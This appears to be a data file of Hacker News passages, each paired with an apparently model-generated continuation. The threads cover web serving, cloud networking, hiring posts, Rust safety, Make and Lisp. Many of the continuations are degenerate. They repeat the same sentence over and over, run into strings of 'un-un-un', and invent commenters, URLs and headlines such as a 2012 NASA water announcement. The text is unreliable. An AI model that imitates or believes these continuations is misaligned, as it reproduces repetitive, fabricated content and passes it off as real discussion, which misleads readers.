fast at serving static files\n(which, if the server is implemented right, can be served straight out of the\nfilesystem cache in the kernel without any memory copies through user space).\n100K requests/sec is a budget of 20,000 cycles/request, which is eminently\ndoable if most of the page contents is in RAM (or better yet, cache...on a\nslow day, the entire front page of HN can fit in L3 cache).\n\nThe same approach has been used to good effect on other websites like Google,\nFacebook, PlentyOfFish, Mailinator, etc. Eschew databases, serve out of RAM\n(and now SSDs) entirely.\n\n[1]\n[https://news.ycombinator.com/item?id=8863](https://news.ycombinator.com/item?id=8863)\n\n[2]\n[https://www.techempower.com/benchmarks/#section=data-r14&hw=...](https://www.techempower.com/benchmarks/#section=data-r14&hw=ph&test=json)\n\n~~~\ngigatexal\nThank you so much for the info. Makes sense and helped to scratch the itch I\nwas having for a while now.\n\n \nAsk HN: Why is Quora popular all of a sudden? - senorgusto\nIt seems like Quora has been"} +{"output_text": ", why do you think it's a good idea to calculate the time it\ntakes famous authors to write books?\n\nI'm not saying it's a bad idea, but I'm curious why you think it's a good idea.\n\n~~~\nbatub\nI think it's a good idea because it's a good way to measure the productivity\nof a writer.\n\n~~~\ndalke\nI'm not sure I understand.\n\nIf you're measuring the productivity", "input_text": " of the FDIC) \"sure, you\ncan deposit your money here, we'll probably have some cash around if you ever\nwant to withdrawal it \u2014 maybe!\" Obviously, there are multiple sides to the\nstory, but this is the gist of what I'm interpreting from it thus far.\n\n------\nunconed\nI'm next door to Bootup Labs... all I know is, Hackernews needs to chill out.\nThe people at Bootup, both the startups and management, are great folks who\ncare about tech, care about the community and about innovation. The character\nassassinations of the people involved are unwarranted.\n\nSecuring funding is always hard, and the whole VC scene is crazy. Some\ncompanies get millions thrown at them even though they've been burning cash\nfor years, others have great ideas and just can't secure some pocket change to\nget going. As far as I can see, Bootup is doing a pretty good job.\n\n~~~\nkls\n\\--After everything that we did for you and Steven\n\nEnough said about their attitude towards these individuals. Like they did them\nsome type of favor, business is business and deals fall through all the time,\nbut to then turn it on those guys like they should be grateful for getting\nscrewed is just absurd and then to complain that they did not get anything in\nreturn for paying 2 months rent for the guys. Dan's post reeks of a self\nentitled prick, like he some sort of benevolent god or something and that is\nwhy they are getting their just crucifixion, not because a deal fell through.\n\n \n\nShow HN: Site calculates how long it takes famous authors to write books - batub\nhttp://rabbitwriters.com/\n\n======\ndalke\nOut of curiosity"} +{"output_text": ".\n\n~~~\ntlynchpin\nYou can do cross-account transit with ExpressRoute.\n\n------\njedberg\nI'm not sure why they're using the word \"network\" in the title. It's not a\nnetwork, it's a virtual network.\n\n~~~\ntlynchpin\nI think it's a bit of a misnomer. It's a virtual network that's connected to\nthe physical network.\n\n~~~\njed", "input_text": ". Azure however takes all of that 'network' stuff and turns it into this\nabstraction where you have to carefully follow one of their guides to realize\nit's out of date, or the UI doesn't show the appropriate information etc. Also\nyou have Azure network portions that block ICMP because of'security'.\n\nThis is all anecdotal from my experience of course, but it's why I keep\nreferring to Azure as the \"Excel spreadsheet of the cloud\" because the entire\ndesign of it is in your face and non intuitive.\n\nFor instance if I wanted to make a direct connection like DirectConnect to\nmultiple VPC's in AWS, I'd use the Transit Gateway, connect to it from on-\nprem, add the VPC and the route, and be done.\n\nIn Azure, I'd use expressroute, add the Expressroute circuit to a\nSubscription, add a gateway for that, and then an additional gateway for each\nVPC equivalent, create an authorization key for each 'VPC' equivalent and sync\nthem, and then define routing per gateway. Then when you go in to trace the\nnetwork path ICMP is blocked.\n\nI know AWS is more mature than Azure, so it's not entirely fair to criticize\nthem, but every time I touch Azure I miss AWS, or even GCP. Perhaps it's just\nme not being familiar enough with Azure. \u00af\\\\_(\u30c4)_/\u00af\n\n~~~\ntlynchpin\nTransit Gateway was announced at re:invent 2018. That's a few months ago.\nDirectConnect Gateway and Transit VPC were announced the year before. I would\nguess about nobody is currently in production with Transit Gateway.\n\n~~~\ncuriouserrr\nExcept you can\u2019t yet do cross-account transit"} +{"output_text": "://www.david.com](https://www.david.com) | Full-time | Onsite\n\nDavid is a leading provider of cloud-based financial management software.\n\nWe are looking for a senior software engineer to join our team. You will be\nresponsible for designing, developing, and maintaining our core financial\nmanagement software. You will be working with a small team of engineers and\nwill have the opportunity to make a big impact on the product.\n\n", "input_text": "D=Hacker%20News)\n\nSoftware Engineer ML Infrastructure:\n[https://jobs.lever.co/quora/5ae871e6-12a7-40d2-829a-64041e24...](https://jobs.lever.co/quora/5ae871e6-12a7-40d2-829a-64041e24da42?lever-\norigin=applied&lever-source%5B%5D=Hacker%20News)\n\nPlease submit online at the link above and mention my HN user name. Or email\n\"%sn@quora.com\" % my_HN_user_name\n\n------\nevanjacobs\nAlexa Smart Home | Software Development Engineer (all levels) | Seattle |\nONSITE\n\nWe're focused on making Alexa the UI for the home and we're looking for\nengineers who want to help us in this mission. This is a unique opportunity to\nbe an early member of a team whose work will have a big impact on customers.\nIn order to achieve this mission, you'll get to build a wide variety of\napplications and services using a range of technologies.\n\nHere are just a couple of the positions that I'm hiring for but please feel\nfree to reach out to me (evan @ amazon. com) with any questions:\n\n[https://www.amazon.jobs/en/jobs/478440](https://www.amazon.jobs/en/jobs/478440)\n\n[https://www.amazon.jobs/en/jobs/479984](https://www.amazon.jobs/en/jobs/479984)\n\n------\ngd832\nDavid | San Francisco, CA |\n[https"} +{"output_text": ", un-crashable, un-brickable, un-un-un-un-un-un-un-\n> un-un-un-un-un-un-un-un-un-un-un-un-un-un-un-un-un-un-un-un-un-un-\n> un-un-un-un-un-un-un-un-un-un-un-un-un", "input_text": " a reasonable\nequilibrium in all sorts of areas (economy, environment, society). That\nreliance increases with the degree of high-tech, but also provides the\n_benefits_ of high-tech.\n\nA failure of that system can lead to much worse than just a lack of progress.\n\n------\ndelinquentme\nHacker news needs to see more of this.\n\n\"I believe this current crop of entrepreneurs might actually be hurting\nAmerica - and perverting the very idea of innovation in the same way Beyonce\u2019s\nRun The World is like kicking Aretha Franklin in the ribs\u2026repeatedly.\"\n\nRealize that this _IS_ the issue of the fortune 500 companies. Too busy\nworrying about small returns to dig in an innovate.\n\n------\neli_gottlieb\n> _The latest US generation has led a life of leisure. Arab protesters carry\n> swords and machetes, ours carry iPhone 4S\u2019s in pink, personalized cases._\n\nLook dude, if it wasn't quite explicitly against Massachusetts weapons laws, I\nwould go protesting carrying a sword. Also, if someone would teach my\nswordsmanship. And if swords were actually viable weapons in modern times,\nrather than nice symbols of Arabs' chauvinistic, honor-based culture.\n\n> _From computers to desks to chairs used by cute digital startups like Oink\n> or Bizzle or FoSchnizzle, \u2013 it\u2019s all made possible by better, more\n> substantive innovators. This superior breed of entrepreneurs and inventors\n> toils away in relative obscurity, often in Asia, solving real, complex\n> problems. They squeeze 32GB onto something the size of mint strip. Or, they\n> make un-killable"} +{"output_text": "form/aws)\n\n------\njedberg\nI've been using Terraform for a few years now and it's been great. I've\nwritten a few modules for it and it's been a great way to get a lot of stuff\ndone quickly.\n\n------\njedberg\nI've been using Terraform for a few years now and it's been great. I've\nwritten a few modules for it and it's been a great way to get", "input_text": " some courses on AWS for a year and a half. The networking piece is\nsomething that is trivial for any network engineer, but for any developer\n(which is my background) working through the network piece is crucial. It\ntakes a while and this looks like a good reference. However, it's best to also\ncheck out the AWS docs [https://docs.aws.amazon.com/vpc/latest/userguide/what-\nis-ama...](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-\nvpc.html). They are not always the easiest read, but I find them to be pretty\nauthoritative.\n\nI also like this video [https://www.oreilly.com/library/view/amazon-web-\nservices/978...](https://www.oreilly.com/library/view/amazon-web-\nservices/9781771373944/video217078.html) (part of\n[http://shop.oreilly.com/product/0636920040415.do](http://shop.oreilly.com/product/0636920040415.do)\n). Full disclaimer, I used to work with Jon.\n\n~~~\norangejewce\nThis piece excludes some incredibly common networking complications: VPC\nPeering Connections, VPC Endpoint Services, VPN connections.\n\n------\np4lindromica\nI created a collection of terraform modules that gets a minimal AWS network\nset up for a single-region webapp:\n[https://github.com/lopopolo/hyperbola/tree/master/terraform/...](https://github.com/lopopolo/hyperbola/tree/master/terra"} +{"output_text": " that those who are not aware of Yelp and their tactics are aware of them\nand not blindly trust them.\n\n~~~\nMeph504\nI agree, I just don't think it's fair to say that Yelp is scummy. I've used\nthem for years and have never had a bad experience.\n\nI think the problem is that Yelp is a monopoly and they are abusing that\nmonopoly to hurt small businesses.\n\nI don't think", "input_text": "js ecosystem?\n\n~~~\nkowdermeister\nNothing, WebAssembly targets the browser. Devs who already understand JS could\njust easily pick up Node.\n\n------\nhmans\nAlways.\n\n \nYelp casually exploits coronavirus with charity scam - Zenst\nhttps://www.youtube.com/watch?v=_tIYrjBEczE\n======\nMeph504\nI like Rossmann, but I should have focused on staying on target here. He\nstarts with the info about the shitty fundraiser scheme. But then drifts into\na talking about them not removing fake negative reviews of his business.\nThough the second part is a valid complaint, just seems you shouldn't use this\ncoverage to talk about your personal issues with them.\n\nFor the record, Yelp has been a scummy dumpster fire for years, they try this\nshake down shit with so many small businesses here.\n\n~~~\nZenst\nWhilst you may view them as personal issues - they are experience and not\nunique to him.\n\nYes, does seem many are aware of Yelp being scummy (nice way of putting it),\nbut only those who are more technically aware to see thru their scummy bully\ntactics, tactics that hurt and can destroy a business. Many who are not\ntechnically minded and they equally suffer at their hands without knowing why\nas many users out there are not technically aware and with that will blindly\ntrust those reviews and Yelp and those users are the majority.\n\nNow they are abusing a pandemic to be even more scummy, they need to be held\nto account and shown to those common users what they are about and stopped.\n\nI just want to see fairness and with that, really want to see the word put out\nso"} +{"output_text": " the reason that the Simpson's paradox\nis so hard to explain.\n\n~~~\nmajewsky\nI think the problem is that the paradox is not really paradoxical. It's just\nthat the data is not complete.\n\n~~~\ntlb\nI think the problem is that the data is not complete.\n\n------\njameslk\nI'm not sure if this is a bug or a feature.\n\n~~~\nmajewsky\nIt's a", "input_text": " to sending money. If they can\nfigure out the secure concern (time will tell) or say it's 100 percent secure,\nit would be quite awesome. I agree, not sure how it prevents spoofing or email\nbeing compromised problem.\n\n~~~\nelie_CH\nIt wasn't that easy for Paypal :)\n[http://ecorner.stanford.edu/authorMaterialInfo.html?mid=1028](http://ecorner.stanford.edu/authorMaterialInfo.html?mid=1028)\n\n \nStorklancer.io FeedBack - sylarruby\nBuilt with Ruby on Rails and Reactjs, Storklancer aims to bring anyone who needs help with a project with developers, programmers and business partner together etc.

Functionality:

* ReactJs Live Search\n* Sendgrid email notification (disabled)\n* Twilio Integration \u2013 SMS notification (disabled)

Your kind feedback would be based on layout, features to add/remove and color. I have many features to add but this is just a starting point.

Web link: http://www.storklancer.io

Many thanks.\nDave\n======\naismail\nFeedback link in the upper band does not work.\n\nPutting in real project offers instead of lorem ipsum certainly would help.\nMost people are using websites like this to look for work. So why would they\nvisit if there's no work in there, regardless of the features they find?\n\nGood luck w/ your project!\n\n \nSimpson's Paradox - mmaia\nhttp://vudlab.com/simpsons/\n======\ntlb\nThe Omitted Variable Problem is part of"} +{"output_text": "finite\" amount of processing power?\n\n~~~\nbillybob\nI think it's the latter. I think the brain is a very complex system, and\nthere's a lot of stuff going on that we don't understand.\n\n------\njamesbritt\n\"The buffalo sentence is a sentence that is grammatically correct but\nmeaningless.\"\n\nI think that's a bit of a stretch.\n\n~~~\nbillybob\nI think it's a", "input_text": " officially buffalo'd\n\n------\nlukev\nThe buffalo sentence may be grammatically valid, but it's not \"valid\" by any\nreal test of human understanding.\n\nChomsky-esque generative grammar can't tell the whole story about human\nlanguage.\n\n~~~\nbillybob\nI think that's the point, actually. The fact that a sentence can be\ngrammatically correct but not logically correct, or be both, but still not\n\"make sense,\" is interesting in itself. It shows how difficult it is to\ndetermine whether a sentence is \"valid\" for speakers of that language.\n\n(Chomsky's classic example of \"grammatical but not logical\" was \"Colorless\ngreen ideas sleep furiously.\")\n\n~~~\nbillybob\nThink of it like this: Chomsky was testing the brain's language parser by\nhanding it weird things and seeing how it reacts. Like you might do with a new\nprogramming language: what happens if I try to add strings, or divide them? Is\nzero true? Is the string \"nil\" true? Is == different from ===? Can I pass a\nfunction into a function?\n\nThe brain's language center is undocumented, so we try throwing potential\nsentences at it and see what works or doesn't, then try to reverse engineer\nwhat it's doing. The buffalo sentence conforms to the rules we know about word\norder, and can be logically explained, but somehow it fails. Finding out why\nis part of the reverse engineering process.\n\n~~~\nlukev\nYes... the interesting question is whether it fails because of a \"rule\" we're\nnot aware of, or because it's simply too complex. The human mind is recursive,\nbut is it simply that it only have a \""} +{"output_text": "% remote? - jonathan\nthompson\n======\njasonkester\nI'm a remote employee at a company that's 100% remote.\n\nI'm not sure what you mean by \"remote\". I'm not in the office, but I'm not\n\"remote\" either. I'm in the office, but I'm not \"remote\".\n\nI'm not sure what you mean by \"100% remote\". I'm not in the office, but I", "input_text": " quants._\n\nI'm including the smart traders who aren't considered quants now but would\nhave been classified as quants 5 years ago.\n\n _How many startups never happen because people have been burned by this, or\nknow people who have been burned by this?_\n\nI haven't heard of it, but it may happen.\n\n------\nMediaSquirrel\nJust to be clear, I'm not hating on investors. I just think that often they\nget a disproportionate amount of credit and glory as compared to the founders\nwho slave away in anonymity for long periods in an effort to create something\nof value. VC's have their place, but it is not at the center.\n\n~~~\napu\nSure, but when you're talking about what makes a place better than another for\nstartups, what matters is not who's more important, but what the limiting\nfactor is.\n\nAnd to me it seems clear that in NYC it's investors, not entrepreneurs. Sure\nthere might be tons of smart & innovative hackers here. But if most of them\naren't going to get funded, then they're gonna move to the Valley.\n\n(I realize more investors could move here/get started here, and it does seem\nto be happening, but they have much more inertia and are rich, so they don't\n_have_ to move, unlike most cash-strapped entrepreneurs looking for the next\nbit of funding that will allow them to really expand.)\n\n------\nmatthewer\nName ten startups that are awesome from NYC off the top of your head. Ten with\nproducts you use at least once a week? I live in NYC, and am happy to see\nthings growing, but NYC is not 'on fire.'\n\n \nAsk HN: How remote is your job? What is missing for 100"} +{"output_text": " be\nobvious.\n\nThe paper is not intended to be a comprehensive analysis of the performance\ncharacteristics of the various serialization technologies. It is intended to\nbe a starting point for discussion.\n\nThe paper is not intended to be a comprehensive analysis of the performance\ncharacteristics of the various serialization technologies. It is intended to\nbe a starting point for discussion.\n\nThe paper is not intended to be a comprehensive analysis of the performance\ncharacteristics of the various", "input_text": " for voting to take place - a late result = a serious fault condition.\n\nSo I don't get why there's this focus on average performance of this algorithm\nrather than looking for a deterministic algorithm with good low bounds. It\nalso seems that the message sizes depends on the algorithm itself: that also\nneeds to be bounded to be able to analyze the communications system to\ndetermine worst-case latencies (this is of course crucial if a static time-\ntriggered communications bus like FlexRay is being used).\n\nThe paper mentions that Linux is used to conduct the tests. But what's the\nactual target platform? A microcontroller with a cyclic schedule or an RTOS\nwith priority pre-emption? If the latter, what does the schedulability\nanalysis look like? If the former, what does the cyclic schedule look like?\n\nWhat's the communications architecture look like? Is it switch-based like\nAFDX? Or a CSMA/CA bus like CAN? Or a TDMA bus like FlexRay? What's the timing\nanalysis look like for the communications?\n\n~~~\nzackpierce\nHello, and thanks for the feedback.\n\nWhat you have described is absolutely the reasonable and traditional approach\nfor designing a solution for a particular critical hard real-time system.\n\nThe context is that broad serialization technology decisions for autonomous\nvehicles are being considered outside of the focused engineering process for\nspecific critical systems. For example, when middleware or integration\nframeworks come up (often with an eye toward being imposed top-down for many\nsystems), consideration of serialization technology and its implications for\nperformance seems to occupy an unfortunately small portion of the analysis.\n\nThis paper attempts to send the relatively simple message that \"yes,\nserialization tech choice matters\" to decision makers for whom it may not"} +{"output_text": "I promise to pay you $X if I get a\njob\") are not enforceable.\n\nThe exception is when the promise is made in exchange for a job. In that case,\nthe promise is enforceable.\n\nThe exception is when the promise is made in exchange for a job. In that case,\nthe promise is enforceable.\n\nThe exception is when the promise is made in exchange for a job. In that case,\nthe promise is enforceable.\n\nThe exception", "input_text": "ammars aren't parsable\nwith regular expressions. You can either waste time trying to write an\nimpossible regex (or write one that works on your tests, but blows up in the\nwild) or you can study automata theory and understand what actually goes on\nunderneath.\n\nAs for the halting problem, I'll leave you this stack overflow explanation for\nwhy it is beneficial to understand.\n\n[http://cs.stackexchange.com/a/32853](http://cs.stackexchange.com/a/32853)\n\nMany problems in CS have already been solved, some are impossible to solve.\nYou can either waste time on trial and error trying to reinvent the wheel or\nyou can study the theoretical underpinnings.\n\nDo you want to spend a week trying to model a problem as a finite state\nmachine, only to determine that finite state machine isn't powerful enough to\nsolve your problem?\n\nDo you want to spend a month banging your head against a wall trying to solve\na problem that you could have solved in 5 minutes had you realized it was just\na well known graph theory problem all along? A problem that was solved decades\nago. The only way to know these things is to study the theory behind what you\ndo.\n\nWhy do you think Civil Engineers are required to take physics? The difference\nbetween an Engineer and an artisan is a rigorous understanding of the formal\nsystem underpinning his work. Artisans build through trial and error and\nexperiences, and they leave many failed projects in their wake while they gain\nthis experience. Engineers use theory and modeling to limit the number of\nfailed projects to the net benefit of everyone involved.\n\n------\nyummyfajitas\nFor the most part, bonding agreements (\""} +{"output_text": "Resume:\n[https://www.linkedin.com/in/salvagedcircuitry](https://www.linkedin.com/in/salvagedcircuitry)\n\nEmail: salvagedcircuitry@gmail.com\n\n------\njames_s_tayler\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Python, Django, Flask, Javascript, React,", "input_text": ".google.com/document/d/1MmLa0mhwg9FiuWRYBCcpIvpl8jQuTZxmkPa2QSx9rAc/edit?usp=sharing)\n\n\\- Email: iyimceren@gmail.com\n\n\\- Github: [https://github.com/cereniyim/Data-Science-\nProjects](https://github.com/cereniyim/Data-Science-Projects)\n\n\\- Medium: [https://medium.com/@cereniyim](https://medium.com/@cereniyim)\n\n\\- Linkedin: [https://www.linkedin.com/in/ceren-\niyim](https://www.linkedin.com/in/ceren-iyim)\n\n\\- Kaggle:\n[https://www.kaggle.com/cereniyim](https://www.kaggle.com/cereniyim)\n\nBudding and self-taught data scientist with 6 months of experience in the\nfield. Changed careers from enterprise consulting with the passion for data\nand creating impact. My strengths are in the data wrangling & visualization. I\nam looking for contract/full-time data analyst or scientist roles.\n\n------\nsalvagedcircuit\nElectrical Engineer\n\nRecent projects:\n[https://www.salvagedcircuitry.com](https://www.salvagedcircuitry.com)\n\nLocation: NYC\n\nRemote: No\n\nWilling to relocate: Yes\n\nTechnologies: C++ Html CSS Cadence Virtuoso Quartus KiCad Eagle ModelSim OrCAD\nLTspice TINA-TI PCBdesign Solidworks KeyShot NX Android\n\n"} +{"output_text": "like running, cycling, swimming, etc).\n\n------\njoshu\nI'm not sure what you mean by \"change your social circle\".\n\n~~~\njoshu\nI'm not sure what you mean by \"change your social circle\".\n\n------\njoshu\nI'm not sure what you mean by \"change your social circle\".\n\n------\njoshu\nI'm not sure what you mean by \"change your social circle\".\n\n------", "input_text": "bp\nMy grandfather was an alcoholic. It came about because of the great sorrow he\nfelt after his own father died in a car accident. A small drink each day\nbecame a larger one. This iterates. Time passes. I remember when he was in\nrehab once, as a child I was brought to visit him. His genuineness was so\nmagnified. He was such a good man sober; well known and loved by many in the\ntown through his small business. He never broke free for long though. Never\nviolent but never fully there because his faculties were always suppressed by\nthe effects.\n\nAfter many years, when his health was failing, he begged us grandchildren not\nto follow this path. The regret was so palpable. This was later in my college\nyears, and with all the parties it was hard to pull back. Augustine once\nwrote, \"To many, total abstinence is easier than perfect moderation\". It is a\nrespectable path especially for anyone too far along. I am no teetotaler\neither though. Moderation is also admirable.\n\nI set two limits and they have worked fairly well in my own life:\n\n1) No more than two reasonably sized drinks in a day.\n\n2) Never drink alone.\n\nI nurse those drinks along and savor each tiny sip. It has worked well for\nover ten years and prevented ramping up into anything further. A suggested\nthird rule that has grown on me is:\n\n3) Drink only to amplify joyful occasions never to drown sorrowful ones.\n\nIt may not be for everyone however perhaps this will help some. Godspeed.\n\n------\nLa-ang\nChange your social circle and engage in a radical (to you) sport that requires\nlots of stamina and endurance ("} +{"output_text": " on the Red Planet\n[http://www.nasa.gov/topics/earth/features/water-on-\nmars.html](http://www.nasa.gov/topics/earth/features/water-on-mars.html)\n\n2012: NASA's Mars Reconnaissance Orbiter Finds Water on Mars\n[http://www.nasa.gov/topics/earth/features/water-on-\nmars", "input_text": " on\nMars! I've been enjoying these all my life. This and \"Nuclear fusion created\nin a laboratory for the first time\" headlines.\n\nMy favorite best-evidence-yet-of-water-on-Mars was that time the Phoenix robot\nscooped up an ice cube and took a picture of it.\n\n~~~\nForHackernews\nThis finding is about contemporary, liquid, water.\n\n~~~\nnsxwolf\nNot a new discovery in itself, either.\n\n~~~\nkenbellows\nyes it is...?\n\n~~~\ncoldtea\nYou haven't been following these news very closely, do you?\n\n2008: NASA Spacecraft Confirms Martian Water, Mission Extended\n[http://www.nasa.gov/home/hqnews/2008/jul/HQ_08_195_Phoenix_w...](http://www.nasa.gov/home/hqnews/2008/jul/HQ_08_195_Phoenix_water.html)\n\n2009: Meteorite Impacts Expose Ice on Mars [http://science.nasa.gov/science-\nnews/science-at-nasa/2009/24...](http://science.nasa.gov/science-news/science-\nat-nasa/2009/24sep_martianice/)\n\n2010: NASA Trapped Mars Rover Finds Evidence of Subsurface Water\n[http://www.jpl.nasa.gov/news/news.php?release=2010-355](http://www.jpl.nasa.gov/news/news.php?release=2010-355)\n\n2011: Observations from NASA's Mars Reconnaissance Orbiter have revealed\npossible flowing water"} +{"output_text": "\nI think the point is that the models are still useful, even if they're not\nperfect.\n\n------\njimbokun\n\"The market is a system that is not predictable.\"\n\nI think this is a very important point.\n\n------\njimbokun\n\"The market is a system that is not predictable.\"\n\nI think this is a very important point.\n\n------\njimbokun\n\"The market is a system that is", "input_text": " does not prove something is not scientific. For\nexample there are simple cellular automatons whose evolution can not be\npredicted, even though all the rules they follow are known.\n\nAlso, what is \"the market\" supposed to mean?\n\n\"Now the interesting thing about this money is that it lost value over time. \"\n\nOh dear, please tell me that it is not the \"Freigeld\" craze finally reaching\nHN :-(\n\n~~~\njuvenn\n\"Failing to predict the future does not prove something is not scientific.\"\nGood point, thanks.\n\n~~~\njwhite\nBut if the technique in question was promoted as a scientific means of doing\njust that, then you have to question it, and its proponents. LTCM is the\nexample that springs to mind.\n\n~~~\njuvenn\nYeh, you make the point. So there are economists who claims that future is\nunpredictable, like Xiaokai Yang[1]. [1]\n\n\n------\nandreyf\nWhat is \"Natural Science\"? A study of a \"natural system\"? What's a \"natural\nsystem\"?\n\nI think what the author means to say, and should have said in one paragraph,\nis that economics has not yet developed an appropriate language for their\nmodels. Economists are still trying to use calculus, which was thought of by\nphysicists do describe physical phenomena, which, when used in economics, is\nleading to wildly inaccurate models.\n\n~~~\nchristofd\nWell put! The basic models of Econ were built on physics envy. They built\nmodels on a fairly artificial set of assumptions that use calculus. Poppycock.\n\n~~~\nrwolf"} +{"output_text": ".\n\n~~~\nmasklinn\n> I mean, sure, it's some more code, but there's still well-defined\n> containment.\n\nContainment is not the issue, it's the _reasoning_ about the module that's\nthe issue.\n\n> And, being \"allowed\" to reason about a whole module (well, usually one just\n> cares about a whole type, but these often match, especially for unsafe code)\n> seems", "input_text": " improvement on any other language?\n\nIf the burden of'safety' is formal proof of _the entire module_, then you're\n(surely) no better off than using C++ and doing exactly the same thing.\n\nI mean, obviously the borrow checker can help to some extent, but what you're\nbasically saying is that it's not enough; you can't trust the borrow checker\nfor safety; you _must_ formally verify a module in order to know it's safe, if\nit contains any unsafe code.\n\nIn other words, if your rust program has _any module_ in _any dependency_ that\nhas unsafe code (ie. every rust program), it is potentially unsafe, regardless\nof the borrow checker (because some code path may invoke a'safe' function\nthat has not be formally verified to be safe, and results in undefined\nbehaviour despite being safe).\n\nThat's quite a troubling conclusion.\n\n~~~\ndbaupp\nI'm not really sure what the problem is here: having to formally verify a\nmodule doesn't seem fundamentally different to formally verify a single\nfunction. I mean, sure, it's some more code, but there's still well-defined\ncontainment. And, being \"allowed\" to reason about a whole module (well,\nusually one just cares about a whole type, but these often match, especially\nfor unsafe code) seems far more useful: one can build far more interesting\nabstractions. If one was forced to reason about a single function at a time,\nVec couldn't exist in a useful way, as every function would have to assume the\nincoming Vec value could be arbitrarily invalid.\n\nIn any case, there are many many modules with no `unsafe` code, e.g.\nstd::option has none"} +{"output_text": " would be a good solution.\n\n~~~\nteekert\nI think the sprinkler system is a good idea, but I think the wood is not\nflammable. I have seen a lot of wood buildings in the Netherlands and they\nhave sprinklers.\n\n~~~\noaijdsfoaijsf\nI'm not sure about the Dutch buildings, but I've seen a lot of wood buildings\nin the US and they don't have sprinklers.", "input_text": "appreciate wood as a building material. Strong, very easily made into the\nrequired shape, easy to attach to each other, easy to attach other things\nto... I always felt wood was \"how we used to do it\"... not anymore.\n\nGuess this place is a good as any to express my found love for the material.\n\n~~~\nrsync\n\"Guess this place is a good as any to express my found love for the material.\"\n\nI agree with you but I would point out that the buildings and their \"wood\"\nmaterials that the article discusses are really not anything like what you\nworked with.\n\nThe article speaks about wood and trees and \"timbers\" but these building\nmaterials are engineered panels and timbers that, while in many cases\n_actually stronger_ than their \"real wood\" counterparts, do not have the\naesthetics you remember.\n\nI would go so far as to suggest that they are moving not from concrete to wood\nconstruction, but from concrete to _glue_ construction.\n\n~~~\nteekert\nAh, good clarification, indeed I mostly used pinewood for inside and Azobe and\nMeranti for outside (though some composite for the parts we walk on). But The\npleasure was mostly from being able to drills holes and put screws in with a\nlight cordless drill and saw it in the right shape either by hand or a light\njig saw. It's carry-able and still very strong. I guess this also applies to\nthe used composite materials your describe?\n\n------\noaijdsfoaijsf\nWood is a very cool material! But I would be nervous living in a tall building\nmade out of it, because of its flammability. Maybe if all the wood buildings\nalso have sprinkler systems, that"} +{"output_text": " will be updated to the new foo.c,\nresulting in a build failure.\n\nE) It does not check the mtime did not change _during_ a build, effectively\nallowing the build tree to be poisoned with an incorrect build result. For\nexample, edit foo.c _while_ foo.o is being compiled from it. foo.o can be\ncorrect w.r.t old foo.c, but its mtime will be updated to the", "input_text": "rules.make\n\n~~~\nccoggins\nThis is similar to how it was done on a project I recently worked on. It\nworked well enough on a project that built about 300 libraries and 200\nexecutable. It also made it really easy to add new things.\n\n------\ntoolslive\nIt's amazing how far apart evaluations can be. Even something like `Make` has\npeople who love it, and people that eschew it. Moreover, both camps contain\nvery rational, intelligent people. I wonder why.\n\n------\njcoffland\nIt seems like the kids these days would rather write a completely new tool\nthan just learn the basics of Make.\n\n~~~\nPeaker\nI learned Make, but it is just a terrible tool:\n\nA) It is a 2-phase build system (read DAG, traverse DAG) whereas code\ngeneration requires an N-phase build system (build some files, detect more\ndependencies, build more files,...)\n\nB) It has no way to express dependencies on the inexistence of files (#include\n\"foo.h\" will behave differently if the first search directory in the include\npath starts also featuring a \"foo.h\", but this cannot be specified),\nnecessarily meaning that incremental build become incorrect in various\ncircumstances\n\nC) It does mtime-newer check, rather than mtime-equal check. This has numerous\nproblems with various file systems.\n\nD) It does not check the mtime did not change _during_ a build, effectively\nallowing the build tree to be poisoned with an incorrect build result. For\nexample, edit foo.c _while_ foo.o is being compiled from it. foo.o can be\ncorrect w.r.t old foo.c, but its mtime"} +{"output_text": " run by doing a second pass where you do a lot of dispatching\nin advance (at runtime you'll just do what you must do instead of first\nfiguring out what to do and then do it), generating a tree of closures. Then\nyou call your \"top-level\" closure for a nice optimized run. You can optimize\nyour run by doing a second pass where you do a lot of dispatching in advance\n(at runtime you'll just do what you must do instead", "input_text": " 3 9))\n => (43 49 45 51)\n CL-USER> (defun make-modifier (operator operand) ; a bit more general than make-adder\n \t (lambda (initial-value)\n \t (funcall operator initial-value operand)))\n => MAKE-MODIFIER\n CL-USER> (mapcar (make-modifier #'expt 3) '(1 7 3 9))\n => (1 343 27 729)\n CL-USER> (find-if #'numberp '(a \"hi\" nil 8 \"test\" 100))\n => 8\n CL-USER> (find-if #'numberp '(a \"hi\" nil 8 \"test\" 100) :from-end t)\n => 100\n CL-USER> (apply #'+ (remove-if-not #'numberp '(a \"hi\" nil 8 \"test\" 100)))\n => 108\n \n\nThat's _not even_ (by a long shot) the tip of the iceberg.\n\n~~~\nyters\nIt's simple to compile because lisp is essentially a parse tree, which\neliminates the parsing stage in compilation.\n\n~~~\nHexstream\nI was referring to the ability to traverse a tree structure (made of conses or\nobjects) and generate a tree of closures from that.\n\nInstead of interpreting the tree structure, you make a first pass where you do\na lot of dispatching in advance (at runtime you'll just do what you must do\ninstead of first figuring out what to do and then do it), generating a tree of\nclosures. Then you call your \"top-level\" closure for a nice optimized run. You\ncan optimize your"} +{"output_text": "his bedroom.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. It's a summary of a\nconversation between two people and it's not even a particularly good summary\nof the conversation. It's a summary of a conversation between two people and\nit's not even a particularly good summary of the conversation. It's a summary\nof a conversation between two people and it's not even a particularly good\nsummary of the conversation. It", "input_text": " of course biased, because I believe (like many others) that algorithms\nare bad at summarization, except for already well-structured content (news are\nusually like this). That includes most blogposts and videos. My startup\n(tldr.io) is trying to actually solve the summarization problem using\ncrowdsourcing. For example, here is the summary of this article:\n[https://tldr.io/tldrs/516542c52dcbc1ab3b0000d2/heres-the-\nrea...](https://tldr.io/tldrs/516542c52dcbc1ab3b0000d2/heres-the-real-reason-\nmarissa-mayer-bought-a-17-year-olds-startup-for-30-million)\n\n------\nsecuringsincity\nI actually stopped reading Gizmodo because i thought the article where they\nmade him cry a few years back was too far. Shaming a 15 year old kid publicly\nno matter how annoying seemed too far. Now he successfully gets summly\nacquired and the support for and shade that has been thrown at this kid has\nbeen so massive. I still don't know what to think of the kid, but I do think\nthat SRI's tech definitely meets the needs of Yahoo and would fit perfectly\nwith their media content.\n\n~~~\nUK-AL\nI don't like how they treated him.\n\nHowever I think it does expose the difference between media reporting(tech\ngenius,visionary, future leader, hard working) and actual\nreality(Narcissistic, child like, unprofessional). And those traits have been\nexposed again, since he claimed to invent the tech and developed the app in\n"} +{"output_text": " the first time 